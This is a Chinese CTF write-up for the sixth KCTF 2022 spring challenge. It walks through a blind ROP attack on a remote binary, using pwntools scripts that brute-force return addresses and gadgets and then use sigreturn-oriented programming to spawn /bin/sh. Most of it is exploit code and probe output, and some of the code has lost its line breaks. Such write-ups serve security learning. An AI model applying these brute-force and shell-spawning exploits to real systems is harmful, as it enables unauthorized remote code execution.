KCTF2022春季赛第六题 writeup

(编辑：jimmy 日期: 2024/12/27 浏览：3 次 )

这题，BROP提示给的很明显，所以就是盲打，不管怎么说先问(bao)候(da)一下出题人。

首先我们一开始什么都不知道，就先确定一下一些基本信息，那么就先测试一下缓冲区的长度，最后发现缓冲区长度为0x10。

我们先执行一遍正常流程，大概就是：

输出一句话
输入
输出一句话

当存在栈溢出的时候，最后一句话输出不出来，因此可以断定，溢出是发生在自己定义的函数的。大概写一下伪代码：

#include<stdio.h>void func(){    char buf[16];    gets(buf);}int main(){    puts("hacker, TNT!");    func();    puts("TNT TNT!");}

当然，输出第一句话的语句可能也在 func 里面，但是不影响，我们先爆破第一个字节

from pwn import  *#context.log_level='debug'for i in range(0,256):    try:        p=remote(host='221.228.109.254',port=10100)        s=p.recvline()        payload=b'a'*0x10+p8(i)        print(payload)        p.send(payload)        ss=(p.recvline(timeout=1))        print(ss)        p.close()    except:        p.close()        continue

可以发现，当覆盖一个 \xb0 字节的时候，程序重新执行了一遍 main 函数，当覆盖一个 \xce 字节的时候，程序执行正常流程退出了，那么我们可以得出以下信息：

main 函数的低位为 0xb0
func 函数的返回地址为 0xce

这里其实可以确定输出第一句话的函数在 main 当中了，因为如果在 func 函数当中，那么一定会存在两个地址使得程序重新执行一遍流程，那就是改成了 func 函数和 main 函数的地址都会这样，没有就说明第一句话输出不在 main 当中。

然后再勇敢地一试，猜测它的地址为 0x4000b0，结果发现也是重新执行了 main 函数，这也间接断定了这个程序是 64 位的。上面推出的两个地址也确定了。

接下来，就可以尝试取寻找 gadget 了，我们要寻找的首要 gadget 自然就是 pop rdi ret 了。

from pwn import  *#context.log_level='debug'main=0x4000b0ret=0x4000cefor i in range(0x400000,0x401900):    try:        while True:            try:                p=remote(host='221.228.109.254',port=10100)                break            except:                continue        s=p.recvline()        payload=b'a'*0x10+p64(i)+p64(ret)+p64(main)        print(payload)        p.send(payload)        ss=(p.recvline(timeout=1))        print(ss)        p.close()    except:        p.close()        continue

在这个 payload 当中，可以发现，如果寻找的 gadget 为 ret，那么则会继续流程，如果 gadget 类似于 pop xxx ret 的话则会重新执行 main 函数。结果 ret 找到了很多，其它的 gadget 愣是没找到一个，于是决定往后面再加一个 p64(main)，结果居然找到了七个地址：

from pwn import *context.log_level='warn'main=0x4000b5ret=0x400101pop_rdi = 0x400101 - 1pop_rsi_2 = 0x400101 - 3'''0x4000b0 0 b'hacker, TNT!\n'0x4000ce 0 b'TNT TNT!\n'INPUT0x4000b5 0 b'TNT TNT!\n'0x4000b6 0 b'TNT TNT!\n'0x4000b8 0 b'TNT TNT!\n'0x4000c2 0 b'TNT TNT!\n'0x4000c7 0 b'TNT TNT!\n'0x4000c9 0 b'TNT TNT!\n'rdi 1rsi strrdx len'''for k in range(1): for i in range(0x400000,0x400120): try: while True: try: p=remote(host='221.228.109.254',port=10005) break except: continue s=p.recv() payload=b'a'*0x10+p64(i)+p64(pop_rdi)*3+p64(1)+p64(pop_rsi_2)+p64(0x400000)*2+p64(0x4000ce) #payload=b'a'*0x10+ #print(payload) p.send(payload) p.send('B') ss=(p.recvall(timeout=1)) print(hex(i),k,ss) #if ss==s: # break p.close() except: #sleep(2) p.close() continue#p.interactive()'''41 5c 41 5d 41 5e 41 5f c3rdi 1rsi strrdx len101 RET102 POP106 RET'''

from pwn import *context.log_level='debug'context.arch='amd64'main=0x4000b5ret=0x400101pop_rdi = 0x400101 - 1pop_rsi_2 = 0x400101 - 3syscall=0x4000ecsysread=0x4000f3'''0x4000b0 0 b'hacker, TNT!\n'0x4000ce 0 b'TNT TNT!\n'INPUT0x4000b5 0 b'TNT TNT!\n'0x4000b6 0 b'TNT TNT!\n'0x4000b8 0 b'TNT TNT!\n'0x4000c2 0 b'TNT TNT!\n'0x4000c7 0 b'TNT TNT!\n'0x4000c9 0 b'TNT TNT!\n'rdi 1rsi strrdx len'''for k in range(1): for i in range(0x4000f3,0x4000f4): try: while True: try: p=remote(host='221.228.109.254',port=10088) break except: continue s=p.recv() rop=SigreturnFrame() rop.rax=1 rop.rdi=1 rop.rip=syscall rop.rsp=0x400000 rop.rbp=0x400000 rop.rsi=0x400000 rop.rdx=0x400 payload=b'a'*0x10+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop)) p.send(payload) p.send('B'*15) p.interactive() except: #sleep(2) p.close() continue#p.interactive()'''41 5c 41 5d 41 5e 41 5f c3rdi 1rsi strrdx len101 RET102 POP106 RET'''

from pwn import *context.log_level='debug'context.arch='amd64'main=0x4000b5ret=0x400101syscall=0x4000ecsysread=0x4000f3#p=process('./pwn')p=remote(host='221.228.109.254',port=10100)s=p.recv()rop=SigreturnFrame()rop.rax=0rop.rdi=0rop.rip=syscall rop.rsp=0x600020rop.rbp=0x600020rop.rsi=0x600000rop.rdx=0x400payload=b'a'*0x10+p64(syscall)+p64(syscall)+eval(str(rop))p.send(payload)#sleep(1)#gdb.attach(p)p.send(b'a'*15)rop.rax=59rop.rip=syscallrop.rdi=0x600000rop.rdx=0rop.rsi=0sleep(1)p.send(b'/bin/sh\0'+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop)))sleep(1)p.send(b'a'*15)p.interactive()

KCTF2022春季赛 第六题 writeup

KCTF2022春季赛第六题 writeup